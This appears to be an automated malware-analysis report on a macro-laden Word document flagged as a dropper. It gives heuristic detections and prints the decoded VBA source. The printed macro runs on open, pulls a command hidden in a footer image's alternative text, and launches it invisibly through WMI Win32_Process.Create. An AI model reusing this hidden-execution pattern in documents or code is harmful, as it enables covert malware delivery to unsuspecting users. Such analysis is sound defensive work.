Malware Insights
The sample contains VBA macros with AutoOpen and Auto_Open functions that trigger the execution of a command. Specifically, the `GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create` call within the `CommandButton1_Click` subroutine indicates an attempt to launch a process. The `f` variable, populated by `ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText`, likely contains the command or executable to be run, though its exact value is not directly extractable from the provided evidence. This behavior is consistent with a macro-based dropper.
Heuristics 9
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ClamAV: Doc.Dropper.Agent-6412880-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412880-0
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VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
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GetObject call high OLE_VBA_GETOBJGetObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1138 bytes |
SHA-256: 44bc7c2b55325801ab28bdaabb91be06a21ef0cfe9555052c15468480582e7fd |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "MyDocument"
Sub Auto_Open()
UserForm1.Show
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{64F16596-1AE5-4261-B47E-035B6A76AD53}{D4C0F6B1-04C3-44EC-B46B-ACE3B141AC7E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
Dim f As String
f = ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
Set s = GetObject("winmgmts:\\.\root\cimv2").Get("Win32_ProcessStartup")
Set c = s.SpawnInstance_
c.ShowWindow = 0
Call GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create(f, Null, c, i)
UserForm1.Hide
End Sub
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